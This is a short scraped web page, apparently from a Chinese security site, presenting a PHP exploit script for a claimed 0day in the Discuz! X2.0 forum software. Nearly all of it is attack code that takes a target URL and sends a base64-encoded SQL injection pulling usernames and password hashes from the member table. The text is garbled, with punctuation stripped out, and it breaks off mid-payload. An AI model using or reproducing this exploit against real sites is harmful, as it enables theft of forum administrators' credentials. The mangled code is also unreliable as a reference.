Discuz! X2. 0 0day EXP-vulnerability warning-the black bar safety net

? php echo "Discuz! X2. 0 0day EXP\n"; echo "By:Steeltiger \n"; echo "php.exe dz2exp.php http://www.xxx.com/ admin\n"; if! empty$argv1 &&! empty$argv2 echo "Start\n"; $exp = base64encode"1' and 1=2 union all select 1,groupconcatusername,0x7C3274747C,password from precommonmember where username li...